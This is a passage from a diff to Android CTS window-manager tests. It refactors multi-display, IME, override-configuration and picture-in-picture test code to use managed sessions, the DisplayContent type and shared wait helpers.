+ imeTestActivitySession2.getActivity().mEditText.getPrivateImeOptions()),
+ event -> "showSoftInput".equals(event.getEventName()));
- // Tap default display again to make sure the IME window will come back.
- tapOnDisplayCenter(defDisplay.getDisplayId());
- imeTestActivitySession.runOnMainSyncAndWait(
- imeTestActivitySession.getActivity()::showSoftInput);
- waitOrderedImeEventsThenAssertImeShown(stream, defDisplay.getDisplayId(),
- editorMatcher("onStartInput",
- imeTestActivitySession.getActivity().mEditText.getPrivateImeOptions()),
- event -> "showSoftInput".equals(event.getEventName()));
- }
+ // Tap default display again to make sure the IME window will come back.
+ tapOnDisplayCenter(defDisplay.getDisplayId());
+ imeTestActivitySession.runOnMainSyncAndWait(
+ imeTestActivitySession.getActivity()::showSoftInput);
+ waitOrderedImeEventsThenAssertImeShown(stream, defDisplay.getDisplayId(),
+ editorMatcher("onStartInput",
+ imeTestActivitySession.getActivity().mEditText.getPrivateImeOptions()),
+ event -> "showSoftInput".equals(event.getEventName()));
}
/**
@@ -542,49 +525,52 @@
public void testCrossDisplayBasicImeOperations() throws Exception {
final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession();
- final TestActivitySession<ImeTestActivity>
- imeTestActivitySession = new TestActivitySession<>();
- // Leverage MockImeSession to ensure at least a test Ime exists as default.
- final MockImeSession mockImeSession = MockImeSession.create(
- mContext, getInstrumentation().getUiAutomation(), new ImeSettings.Builder())) {
+ final MockImeSession mockImeSession = createManagedMockImeSession(this);
+ final TestActivitySession<ImeTestActivity> imeTestActivitySession =
+ createManagedTestActivitySession();
- // Create a virtual display by app and assume the display should not show IME window.
- final ActivityDisplay newDisplay = virtualDisplaySession.setPublicDisplay(true)
- .createDisplay();
- SystemUtil.runWithShellPermissionIdentity(
- () -> assertFalse("Display should not support showing IME window",
- mTargetContext.getSystemService(WindowManager.class)
- .shouldShowIme(newDisplay.mId)));
+ // Create a virtual display by app and assume the display should not show IME window.
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setPublicDisplay(true)
+ .createDisplay();
+ SystemUtil.runWithShellPermissionIdentity(
+ () -> assertFalse("Display should not support showing IME window",
+ mTargetContext.getSystemService(WindowManager.class)
+ .shouldShowIme(newDisplay.mId)));
- // Launch Ime test activity in virtual display.
- imeTestActivitySession.launchTestActivityOnDisplaySync(ImeTestActivity.class,
- newDisplay.mId);
+ // Launch Ime test activity in virtual display.
+ imeTestActivitySession.launchTestActivityOnDisplay(ImeTestActivity.class,
+ newDisplay.mId);
- // Verify the activity to show soft input on the default display.
- final ImeEventStream stream = mockImeSession.openEventStream();
- final EditText editText = imeTestActivitySession.getActivity().mEditText;
- imeTestActivitySession.runOnMainSyncAndWait(
- imeTestActivitySession.getActivity()::showSoftInput);
- waitOrderedImeEventsThenAssertImeShown(stream, DEFAULT_DISPLAY,
- editorMatcher("onStartInput", editText.getPrivateImeOptions()),
- event -> "showSoftInput".equals(event.getEventName()));
+ // Expect onStartInput / showSoftInput would be executed when user tapping on the
+ // non-system created display intentionally.
+ final Rect drawRect = new Rect();
+ imeTestActivitySession.getActivity().mEditText.getDrawingRect(drawRect);
+ tapOnDisplaySync(drawRect.left, drawRect.top, newDisplay.mId);
- // Commit text & make sure the input texts should be delivered to focused EditText on
- // virtual display.
- final String commitText = "test commit";
- expectCommand(stream, mockImeSession.callCommitText(commitText, 1), TIMEOUT);
- imeTestActivitySession.runOnMainAndAssertWithTimeout(
- () -> TextUtils.equals(commitText, editText.getText()), TIMEOUT,
- "The input text should be delivered");
+ // Verify the activity to show soft input on the default display.
+ final ImeEventStream stream = mockImeSession.openEventStream();
+ final EditText editText = imeTestActivitySession.getActivity().mEditText;
+ imeTestActivitySession.runOnMainSyncAndWait(
+ imeTestActivitySession.getActivity()::showSoftInput);
+ waitOrderedImeEventsThenAssertImeShown(stream, DEFAULT_DISPLAY,
+ editorMatcher("onStartInput", editText.getPrivateImeOptions()),
+ event -> "showSoftInput".equals(event.getEventName()));
- // Since the IME and the IME target app are running in different displays,
- // InputConnection#requestCursorUpdates() is not supported and it should return false.
- // See InputMethodServiceTest#testOnUpdateCursorAnchorInfo() for the normal scenario.
- final ImeCommand callCursorUpdates = mockImeSession.callRequestCursorUpdates(
- InputConnection.CURSOR_UPDATE_IMMEDIATE);
- assertFalse(expectCommand(stream, callCursorUpdates, TIMEOUT).getReturnBooleanValue());
- }
+ // Commit text & make sure the input texts should be delivered to focused EditText on
+ // virtual display.
+ final String commitText = "test commit";
+ expectCommand(stream, mockImeSession.callCommitText(commitText, 1), TIMEOUT);
+ imeTestActivitySession.runOnMainAndAssertWithTimeout(
+ () -> TextUtils.equals(commitText, editText.getText()), TIMEOUT,
+ "The input text should be delivered");
+
+ // Since the IME and the IME target app are running in different displays,
+ // InputConnection#requestCursorUpdates() is not supported and it should return false.
+ // See InputMethodServiceTest#testOnUpdateCursorAnchorInfo() for the normal scenario.
+ final ImeCommand callCursorUpdates = mockImeSession.callRequestCursorUpdates(
+ InputConnection.CURSOR_UPDATE_IMMEDIATE);
+ assertFalse(expectCommand(stream, callCursorUpdates, TIMEOUT).getReturnBooleanValue());
}
public static class ImeTestActivity extends Activity {
@@ -596,8 +582,7 @@
mEditText = new ImeAwareEditText(this);
// Set private IME option for editorMatcher to identify which TextView received
// onStartInput event.
- mEditText.setPrivateImeOptions(
- getClass().getName() + "/" + Long.toString(SystemClock.elapsedRealtimeNanos()));
+ resetPrivateImeOptionsIdentifier();
final LinearLayout layout = new LinearLayout(this);
layout.setOrientation(LinearLayout.VERTICAL);
layout.addView(mEditText);
@@ -608,6 +593,11 @@
void showSoftInput() {
mEditText.scheduleShowSoftInput();
}
+
+ void resetPrivateImeOptionsIdentifier() {
+ mEditText.setPrivateImeOptions(
+ getClass().getName() + "/" + Long.toString(SystemClock.elapsedRealtimeNanos()));
+ }
}
public static class ImeTestActivity2 extends ImeTestActivity { }
@@ -662,7 +652,7 @@
}
void assertImeWindowAndDisplayConfiguration(
- WindowManagerState.WindowState imeWinState, ActivityDisplay display) {
+ WindowManagerState.WindowState imeWinState, DisplayContent display) {
final Configuration configurationForIme = imeWinState.mMergedOverrideConfiguration;
final Configuration configurationForDisplay = display.mMergedOverrideConfiguration;
final int displayDensityDpiForIme = configurationForIme.densityDpi;
@@ -673,13 +663,4 @@
assertEquals("Display density not the same", displayDensityDpi, displayDensityDpiForIme);
assertEquals("Display bounds not the same", displayBounds, displayBoundsForIme);
}
-
- void waitOrderedImeEventsThenAssertImeShown(ImeEventStream stream, int displayId,
- Predicate<ImeEvent>... conditions) throws Exception {
- for (Predicate<ImeEvent> condition : conditions) {
- expectEvent(stream, condition, TimeUnit.SECONDS.toMillis(5) /* eventTimeout */);
- }
- // Assert the IME is shown on the expected display.
- mAmWmState.waitAndAssertImeWindowShownOnDisplay(displayId);
- }
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java
index ef78bc7..417115e 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java
@@ -17,10 +17,8 @@
package android.server.wm;
import static android.content.pm.PackageManager.FEATURE_ACTIVITIES_ON_SECONDARY_DISPLAYS;
-import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_PUBLIC;
import static android.server.wm.ComponentNameUtils.getActivityName;
import static android.server.wm.StateLogger.log;
-import static android.server.wm.StateLogger.logAlways;
import static android.server.wm.UiDeviceUtils.pressSleepButton;
import static android.server.wm.UiDeviceUtils.pressWakeupButton;
import static android.server.wm.app.Components.VIRTUAL_DISPLAY_ACTIVITY;
@@ -40,39 +38,42 @@
import static android.view.Display.DEFAULT_DISPLAY;
import static android.view.Display.INVALID_DISPLAY;
-import static androidx.test.InstrumentationRegistry.getInstrumentation;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.hamcrest.Matchers.hasSize;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
import android.content.ComponentName;
import android.content.Context;
import android.content.res.Configuration;
import android.graphics.Rect;
import android.os.Bundle;
-import android.os.SystemClock;
import android.provider.Settings;
-import android.server.wm.ActivityManagerState.ActivityDisplay;
+import android.server.wm.ActivityManagerState.DisplayContent;
import android.server.wm.CommandSession.ActivitySession;
import android.server.wm.CommandSession.ActivitySessionClient;
import android.server.wm.settings.SettingsSession;
+import android.util.Pair;
import android.util.Size;
-import android.util.SparseBooleanArray;
import android.view.WindowManager;
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
import com.android.compatibility.common.util.SystemUtil;
-import com.android.compatibility.common.util.TestUtils;
+import com.android.cts.mockime.ImeEvent;
+import com.android.cts.mockime.ImeEventStream;
+
import org.junit.Before;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
+import java.util.concurrent.TimeUnit;
import java.util.function.Consumer;
import java.util.function.Predicate;
import java.util.regex.Matcher;
@@ -98,12 +99,12 @@
mTargetContext = getInstrumentation().getTargetContext();
}
- ActivityDisplay getDisplayState(int displayId) {
+ DisplayContent getDisplayState(int displayId) {
return getDisplayState(getDisplaysStates(), displayId);
}
- ActivityDisplay getDisplayState(List<ActivityDisplay> displays, int displayId) {
- for (ActivityDisplay display : displays) {
+ DisplayContent getDisplayState(List<DisplayContent> displays, int displayId) {
+ for (DisplayContent display : displays) {
if (display.mId == displayId) {
return display;
}
@@ -112,9 +113,9 @@
}
/** Return the display state with width, height, dpi. Always not default display. */
- ActivityDisplay getDisplayState(List<ActivityDisplay> displays, int width, int height,
+ DisplayContent getDisplayState(List<DisplayContent> displays, int width, int height,
int dpi) {
- for (ActivityDisplay display : displays) {
+ for (DisplayContent display : displays) {
if (display.mId == DEFAULT_DISPLAY) {
continue;
}
@@ -127,17 +128,17 @@
return null;
}
- List<ActivityDisplay> getDisplaysStates() {
+ List<DisplayContent> getDisplaysStates() {
mAmWmState.getAmState().computeState();
return mAmWmState.getAmState().getDisplays();
}
/** Find the display that was not originally reported in oldDisplays and added in newDisplays */
- List<ActivityDisplay> findNewDisplayStates(List<ActivityDisplay> oldDisplays,
- List<ActivityDisplay> newDisplays) {
- final ArrayList<ActivityDisplay> result = new ArrayList<>();
+ List<DisplayContent> findNewDisplayStates(List<DisplayContent> oldDisplays,
+ List<DisplayContent> newDisplays) {
+ final ArrayList<DisplayContent> result = new ArrayList<>();
- for (ActivityDisplay newDisplay : newDisplays) {
+ for (DisplayContent newDisplay : newDisplays) {
if (oldDisplays.stream().noneMatch(d -> d.mId == newDisplay.mId)) {
result.add(newDisplay);
}
@@ -240,21 +241,21 @@
}
}
- protected void tapOnDisplayCenter(int displayId) {
- final Rect bounds = mAmWmState.getWmState().getDisplay(displayId).getDisplayRect();
- tapOnDisplay(bounds.centerX(), bounds.centerY(), displayId);
+ void waitForDisplayGone(Predicate<WindowManagerState.Display> displayPredicate) {
+ waitForOrFail("displays to be removed", () -> {
+ mAmWmState.computeState(true);
+ return !mAmWmState.getWmState().getDisplays().stream().anyMatch(displayPredicate::test);
+ });
}
- private void waitForDisplayGone(Predicate<WindowManagerState.Display> displayPredicate) {
- for (int retry = 1; retry <= 5; retry++) {
- mAmWmState.computeState(true);
- if (!mAmWmState.getWmState().getDisplays().stream().anyMatch(displayPredicate::test)) {
- return;
- }
- logAlways("Waiting for hosted displays destruction... retry=" + retry);
- SystemClock.sleep(500);
- }
- fail("Waiting for hosted displays destruction failed.");
+ void assertSecurityExceptionFromActivityLauncher() {
+ waitForOrFail("SecurityException from " + ActivityLauncher.TAG,
+ ActivityLauncher::hasCaughtSecurityException);
+ }
+
+ /** @see ObjectTracker#manage(AutoCloseable) */
+ protected VirtualDisplaySession createManagedVirtualDisplaySession() {
+ return mObjectTracker.manage(new VirtualDisplaySession());
}
/**
@@ -338,12 +339,12 @@
}
@Nullable
- public ActivityDisplay createDisplay() throws Exception {
+ public DisplayContent createDisplay() {
return createDisplays(1).stream().findFirst().orElse(null);
}
@NonNull
- List<ActivityDisplay> createDisplays(int count) throws Exception {
+ List<DisplayContent> createDisplays(int count) {
if (mSimulateDisplay) {
return simulateDisplay();
} else {
@@ -357,7 +358,7 @@
}
@Override
- public void close() throws Exception {
+ public void close() {
mOverlayDisplayDeviceSession.close();
if (mVirtualDisplayCreated) {
destroyVirtualDisplays();
@@ -370,9 +371,9 @@
* <pre>
* <code>mDensityDpi</code> provide custom density for the display.
* </pre>
- * @return {@link ActivityDisplay} of newly created display.
+ * @return {@link DisplayContent} of newly created display.
*/
- private List<ActivityDisplay> simulateDisplay() throws Exception {
+ private List<DisplayContent> simulateDisplay() {
// Create virtual display with custom density dpi and specified size.
mOverlayDisplayDeviceSession.set(mSimulationDisplaySize + "/" + mDensityDpi);
if (mShowSystemDecorations) {
@@ -398,10 +399,10 @@
* creation.
* </pre>
* @param displayCount number of displays to be created.
- * @return A list of {@link ActivityDisplay} that represent newly created displays.
+ * @return A list of {@link DisplayContent} that represent newly created displays.
* @throws Exception
*/
- private List<ActivityDisplay> createVirtualDisplays(int displayCount) {
+ private List<DisplayContent> createVirtualDisplays(int displayCount) {
// Start an activity that is able to create virtual displays.
if (mLaunchInSplitScreen) {
getLaunchActivityBuilder()
@@ -416,7 +417,7 @@
mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
mAmWmState.assertFocusedActivity("Focus must be on virtual display host activity",
VIRTUAL_DISPLAY_ACTIVITY);
- final List<ActivityDisplay> originalDS = getDisplaysStates();
+ final List<DisplayContent> originalDS = getDisplaysStates();
// Create virtual display with custom density dpi.
final StringBuilder createVirtualDisplayCommand = new StringBuilder(
@@ -462,16 +463,16 @@
// TODO(b/112837428): Merge into VirtualDisplaySession when all usages are migrated.
protected class VirtualDisplayLauncher extends VirtualDisplaySession {
- private final ActivitySessionClient mActivitySessionClient = new ActivitySessionClient();
+ private final ActivitySessionClient mActivitySessionClient = createActivitySessionClient();
ActivitySession launchActivityOnDisplay(ComponentName activityName,
- ActivityDisplay display) {
+ DisplayContent display) {
return launchActivityOnDisplay(activityName, display, null /* extrasConsumer */,
true /* withShellPermission */, true /* waitForLaunch */);
}
ActivitySession launchActivityOnDisplay(ComponentName activityName,
- ActivityDisplay display, Consumer<Bundle> extrasConsumer,
+ DisplayContent display, Consumer<Bundle> extrasConsumer,
boolean withShellPermission, boolean waitForLaunch) {
return launchActivity(builder -> builder
// VirtualDisplayActivity is in different package. If the display is not public,
@@ -492,7 +493,7 @@
}
@Override
- public void close() throws Exception {
+ public void close() {
super.close();
mActivitySessionClient.close();
}
@@ -501,7 +502,7 @@
/** Helper class to save, set, and restore overlay_display_devices preference. */
private class OverlayDisplayDevicesSession extends SettingsSession<String> {
/** The displays which are created by this session. */
- private final List<ActivityDisplay> mDisplays = new ArrayList<>();
+ private final List<DisplayContent> mDisplays = new ArrayList<>();
/** The configured displays that need to be restored when this session is closed. */
private final List<OverlayDisplayState> mDisplayStates = new ArrayList<>();
private final WindowManager mWm;
@@ -510,16 +511,18 @@
super(Settings.Global.getUriFor(Settings.Global.OVERLAY_DISPLAY_DEVICES),
Settings.Global::getString,
Settings.Global::putString);
+ // Remove existing overlay display to avoid display count problem.
+ removeExisting();
mWm = context.getSystemService(WindowManager.class);
}
- List<ActivityDisplay> getCreatedDisplays() {
+ List<DisplayContent> getCreatedDisplays() {
return new ArrayList<>(mDisplays);
}
@Override
public void set(String value) {
- final List<ActivityDisplay> originalDisplays = getDisplaysStates();
+ final List<DisplayContent> originalDisplays = getDisplaysStates();
super.set(value);
final int newDisplayCount = 1 + (int) value.chars().filter(ch -> ch == ';').count();
mDisplays.addAll(assertAndGetNewDisplays(newDisplayCount, originalDisplays));
@@ -527,22 +530,20 @@
void configureDisplays(boolean requestShowSysDecors, boolean requestShowIme) {
SystemUtil.runWithShellPermissionIdentity(() -> {
- for (ActivityDisplay display : mDisplays) {
+ for (DisplayContent display : mDisplays) {
final boolean showSystemDecors = mWm.shouldShowSystemDecors(display.mId);
final boolean showIme = mWm.shouldShowIme(display.mId);
mDisplayStates.add(new OverlayDisplayState(
display.mId, showSystemDecors, showIme));
if (requestShowSysDecors != showSystemDecors) {
mWm.setShouldShowSystemDecors(display.mId, requestShowSysDecors);
- TestUtils.waitUntil("Waiting for display show system decors",
- 5 /* timeoutSecond */,
+ waitForOrFail("display config show-system-decors to be set",
() -> mWm.shouldShowSystemDecors(
display.mId) == requestShowSysDecors);
}
if (requestShowIme != showIme) {
mWm.setShouldShowIme(display.mId, requestShowIme);
- TestUtils.waitUntil("Waiting for display show Ime",
- 5 /* timeoutSecond */,
+ waitForOrFail("display config show-IME to be set",
() -> mWm.shouldShowIme(display.mId) == requestShowIme);
}
}
@@ -555,14 +556,13 @@
mWm.setShouldShowIme(state.mId, state.mShouldShowIme);
// Only need to wait the last flag to be set.
- TestUtils.waitUntil("Waiting for the show IME flag to be set",
- 5 /* timeoutSecond */,
+ waitForOrFail("display config show-IME to be restored",
() -> mWm.shouldShowIme(state.mId) == state.mShouldShowIme);
}));
}
@Override
- public void close() throws Exception {
+ public void close() {
// Need to restore display state before display is destroyed.
restoreDisplayStates();
super.close();
@@ -570,6 +570,12 @@
.anyMatch(state -> state.mId == display.getDisplayId()));
}
+ private void removeExisting() {
+ if (mHasInitialValue && mInitialValue != null) {
+ delete(mUri);
+ }
+ }
+
private class OverlayDisplayState {
int mId;
boolean mShouldShowSystemDecors;
@@ -584,28 +590,20 @@
}
/** Wait for provided number of displays and report their configurations. */
- List<ActivityDisplay> getDisplayStateAfterChange(int expectedDisplayCount) {
- List<ActivityDisplay> ds = getDisplaysStates();
-
- int retriesLeft = 5;
- while (!areDisplaysValid(ds, expectedDisplayCount) && retriesLeft-- > 0) {
- log("***Waiting for the correct number of displays...");
- try {
- Thread.sleep(1000);
- } catch (InterruptedException e) {
- log(e.toString());
- }
- ds = getDisplaysStates();
- }
-
- return ds;
+ List<DisplayContent> getDisplayStateAfterChange(int expectedDisplayCount) {
+ return Condition.waitForResult("the correct number of displays=" + expectedDisplayCount,
+ condition -> condition
+ .setReturnLastResult(true)
+ .setResultSupplier(this::getDisplaysStates)
+ .setResultValidator(
+ displays -> areDisplaysValid(displays, expectedDisplayCount)));
}
- private boolean areDisplaysValid(List<ActivityDisplay> displays, int expectedDisplayCount) {
+ private boolean areDisplaysValid(List<DisplayContent> displays, int expectedDisplayCount) {
if (displays.size() != expectedDisplayCount) {
return false;
}
- for (ActivityDisplay display : displays) {
+ for (DisplayContent display : displays) {
if (display.mOverrideConfiguration.densityDpi == 0) {
return false;
}
@@ -620,12 +618,12 @@
* @param originalDisplays display states before creation of new display(s).
* @return list of new displays, empty list if no new display is created.
*/
- private List<ActivityDisplay> assertAndGetNewDisplays(int newDisplayCount,
- List<ActivityDisplay> originalDisplays) {
+ private List<DisplayContent> assertAndGetNewDisplays(int newDisplayCount,
+ List<DisplayContent> originalDisplays) {
final int originalDisplayCount = originalDisplays.size();
// Wait for the display(s) to be created and get configurations.
- final List<ActivityDisplay> ds = getDisplayStateAfterChange(
+ final List<DisplayContent> ds = getDisplayStateAfterChange(
originalDisplayCount + newDisplayCount);
if (newDisplayCount != -1) {
assertEquals("New virtual display(s) must be created",
@@ -637,17 +635,46 @@
}
// Find the newly added display(s).
- final List<ActivityDisplay> newDisplays = findNewDisplayStates(originalDisplays, ds);
+ final List<DisplayContent> newDisplays = findNewDisplayStates(originalDisplays, ds);
assertThat("New virtual display must be created", newDisplays, hasSize(newDisplayCount));
return newDisplays;
}
+ /** A clearer alias of {@link Pair#create(Object, Object)}. */
+ protected <K, V> Pair<K, V> pair(K k, V v) {
+ return new Pair<>(k, v);
+ }
+
+ protected void assertBothDisplaysHaveResumedActivities(
+ Pair<Integer, ComponentName> firstPair, Pair<Integer, ComponentName> secondPair) {
+ mAmWmState.assertResumedActivities("Both displays must have resumed activities",
+ mapping -> {
+ mapping.put(firstPair.first, firstPair.second);
+ mapping.put(secondPair.first, secondPair.second);
+ });
+ }
+
/** Checks if the device supports multi-display. */
protected boolean supportsMultiDisplay() {
return hasDeviceFeature(FEATURE_ACTIVITIES_ON_SECONDARY_DISPLAYS);
}
+ /** @see ObjectTracker#manage(AutoCloseable) */
+ protected ExternalDisplaySession createManagedExternalDisplaySession() {
+ return mObjectTracker.manage(new ExternalDisplaySession());
+ }
+
+ @SafeVarargs
+ final void waitOrderedImeEventsThenAssertImeShown(ImeEventStream stream, int displayId,
+ Predicate<ImeEvent>... conditions) throws Exception {
+ for (Predicate<ImeEvent> condition : conditions) {
+ expectEvent(stream, condition, TimeUnit.SECONDS.toMillis(5) /* eventTimeout */);
+ }
+ // Assert the IME is shown on the expected display.
+ mAmWmState.waitAndAssertImeWindowShownOnDisplay(displayId);
+ }
+
/**
* This class is used when you need to test virtual display created by a privileged app.
*
@@ -683,8 +710,8 @@
/**
* Creates a private virtual display with insecure keyguard flags set.
*/
- ActivityDisplay createVirtualDisplay() throws Exception {
- final List<ActivityDisplay> originalDS = getDisplaysStates();
+ DisplayContent createVirtualDisplay() {
+ final List<DisplayContent> originalDS = getDisplaysStates();
final int originalDisplayCount = originalDS.size();
mExternalDisplayHelper = new VirtualDisplayHelper();
@@ -695,12 +722,12 @@
.createAndWaitForDisplay();
// Wait for the virtual display to be created and get configurations.
- final List<ActivityDisplay> ds = getDisplayStateAfterChange(originalDisplayCount + 1);
+ final List<DisplayContent> ds = getDisplayStateAfterChange(originalDisplayCount + 1);
assertEquals("New virtual display must be created", originalDisplayCount + 1,
ds.size());
// Find the newly added display.
- final ActivityDisplay newDisplay = findNewDisplayStates(originalDS, ds).get(0);
+ final DisplayContent newDisplay = findNewDisplayStates(originalDS, ds).get(0);
mDisplayId = newDisplay.mId;
return newDisplay;
}
@@ -720,7 +747,7 @@
}
@Override
- public void close() throws Exception {
+ public void close() {
if (mExternalDisplayHelper != null) {
mExternalDisplayHelper.releaseDisplay();
mExternalDisplayHelper = null;
@@ -738,7 +765,7 @@
}
@Override
- public void close() throws Exception {
+ public void close() {
setPrimaryDisplayState(true);
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/OverrideConfigTests.java b/tests/framework/base/windowmanager/src/android/server/wm/OverrideConfigTests.java
index a13f881..476a318 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/OverrideConfigTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/OverrideConfigTests.java
@@ -36,25 +36,24 @@
public class OverrideConfigTests extends ActivityManagerTestBase {
@Test
- public void testReceiveOverrideConfigFromRelayout() throws Exception {
+ public void testReceiveOverrideConfigFromRelayout() {
assumeTrue("Device doesn't support freeform. Skipping test.", supportsFreeform());
launchActivity(LOG_CONFIGURATION_ACTIVITY, WINDOWING_MODE_FREEFORM);
- try (final RotationSession rotationSession = new RotationSession()) {
- rotationSession.set(ROTATION_0);
- separateTestJournal();
- resizeActivityTask(LOG_CONFIGURATION_ACTIVITY, 0, 0, 100, 100);
- new ActivityLifecycleCounts(LOG_CONFIGURATION_ACTIVITY).assertCountWithRetry(
- "Expected to observe configuration change when resizing",
- countSpec(ActivityCallback.ON_CONFIGURATION_CHANGED, CountSpec.EQUALS, 1));
+ final RotationSession rotationSession = createManagedRotationSession();
+ rotationSession.set(ROTATION_0);
+ separateTestJournal();
+ resizeActivityTask(LOG_CONFIGURATION_ACTIVITY, 0, 0, 100, 100);
+ new ActivityLifecycleCounts(LOG_CONFIGURATION_ACTIVITY).assertCountWithRetry(
+ "Expected to observe configuration change when resizing",
+ countSpec(ActivityCallback.ON_CONFIGURATION_CHANGED, CountSpec.EQUALS, 1));
- separateTestJournal();
- rotationSession.set(ROTATION_180);
- new ActivityLifecycleCounts(LOG_CONFIGURATION_ACTIVITY).assertCountWithRetry(
- "Not expected to observe configuration change after flip rotation",
- countSpec(ActivityCallback.ON_CONFIGURATION_CHANGED, CountSpec.EQUALS, 0));
- }
+ separateTestJournal();
+ rotationSession.set(ROTATION_180);
+ new ActivityLifecycleCounts(LOG_CONFIGURATION_ACTIVITY).assertCountWithRetry(
+ "Not expected to observe configuration change after flip rotation",
+ countSpec(ActivityCallback.ON_CONFIGURATION_CHANGED, CountSpec.EQUALS, 0));
}
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ParentChildTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/ParentChildTestBase.java
index 1b0ca04..89ccb47 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ParentChildTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ParentChildTestBase.java
@@ -16,6 +16,7 @@
package android.server.wm;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
import static android.server.wm.StateLogger.log;
import static android.server.wm.DialogFrameTestActivity.EXTRA_TEST_CASE;
@@ -65,6 +66,10 @@
startTestCaseDocked(testCase);
doSingleTest(t);
activityRule().finishActivity();
+
+ mAmWmState.waitForWithAmState(amState -> !amState.containsStack(
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD),
+ "docked stack to be removed");
}
void doParentChildTest(String testCase, ParentChildTest t) throws Exception {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
index 98669b7..3c3557c 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
@@ -16,6 +16,7 @@
package android.server.wm;
+import static android.app.ActivityManager.LOCK_TASK_MODE_NONE;
import static android.app.ActivityTaskManager.INVALID_STACK_ID;
import static android.app.WindowConfiguration.ACTIVITY_TYPE_HOME;
import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
@@ -41,11 +42,14 @@
import static android.server.wm.app.Components.PipActivity.ACTION_EXPAND_PIP;
import static android.server.wm.app.Components.PipActivity.ACTION_FINISH;
import static android.server.wm.app.Components.PipActivity.ACTION_MOVE_TO_BACK;
+import static android.server.wm.app.Components.PipActivity.ACTION_ON_PIP_REQUESTED;
import static android.server.wm.app.Components.PipActivity.EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP;
import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP;
import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR;
import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR;
import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ON_PAUSE;
+import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ON_PIP_REQUESTED;
+import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ON_USER_LEAVE_HINT;
import static android.server.wm.app.Components.PipActivity.EXTRA_FINISH_SELF_ON_RESUME;
import static android.server.wm.app.Components.PipActivity.EXTRA_ON_PAUSE_DELAY;
import static android.server.wm.app.Components.PipActivity.EXTRA_PIP_ORIENTATION;
@@ -64,7 +68,7 @@
import static android.server.wm.app27.Components.SDK_27_PIP_ACTIVITY;
import static android.view.Display.DEFAULT_DISPLAY;
-import static androidx.test.InstrumentationRegistry.getInstrumentation;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
import static org.hamcrest.Matchers.lessThan;
import static org.junit.Assert.assertEquals;
@@ -107,13 +111,14 @@
import java.util.List;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
+import java.util.function.Function;
/**
* Build/Install/Run:
* atest CtsWindowManagerDeviceTestCases:PinnedStackTests
*/
@Presubmit
-@FlakyTest(bugId = 71792368)
+@android.server.wm.annotation.Group2
public class PinnedStackTests extends ActivityManagerTestBase {
private static final String TAG = PinnedStackTests.class.getSimpleName();
@@ -207,83 +212,69 @@
}
@Test
- public void testPinnedStackDefaultBounds() throws Exception {
+ public void testPinnedStackDefaultBounds() {
// Launch a PIP activity
launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
// Wait for animation complete since we are comparing bounds
waitForEnterPipAnimationComplete(PIP_ACTIVITY);
- try (final RotationSession rotationSession = new RotationSession()) {
- rotationSession.set(ROTATION_0);
- mAmWmState.waitForWithWmState((wmState1) -> {
- Rect db = wmState1.getDefaultPinnedStackBounds();
- Rect sb = wmState1.getStableBounds();
- return (db.width() > 0 && db.height() > 0) &&
- (sb.contains(db));
- }, "Waiting for valid bounds..");
- WindowManagerState wmState = mAmWmState.getWmState();
- wmState.computeState();
- Rect defaultPipBounds = wmState.getDefaultPinnedStackBounds();
- Rect stableBounds = wmState.getStableBounds();
- assertTrue(defaultPipBounds.width() > 0 && defaultPipBounds.height() > 0);
- assertTrue(stableBounds.contains(defaultPipBounds));
+ final RotationSession rotationSession = createManagedRotationSession();
+ rotationSession.set(ROTATION_0);
+ waitForValidPinnedStackBounds(WindowManagerState::getDefaultPinnedStackBounds);
+ WindowManagerState wmState = mAmWmState.getWmState();
+ wmState.computeState();
+ Rect defaultPipBounds = wmState.getDefaultPinnedStackBounds();
+ Rect stableBounds = wmState.getStableBounds();
+ assertTrue(defaultPipBounds.width() > 0 && defaultPipBounds.height() > 0);
+ assertTrue(stableBounds.contains(defaultPipBounds));
- rotationSession.set(ROTATION_90);
- mAmWmState.waitForWithWmState((wmState1) -> {
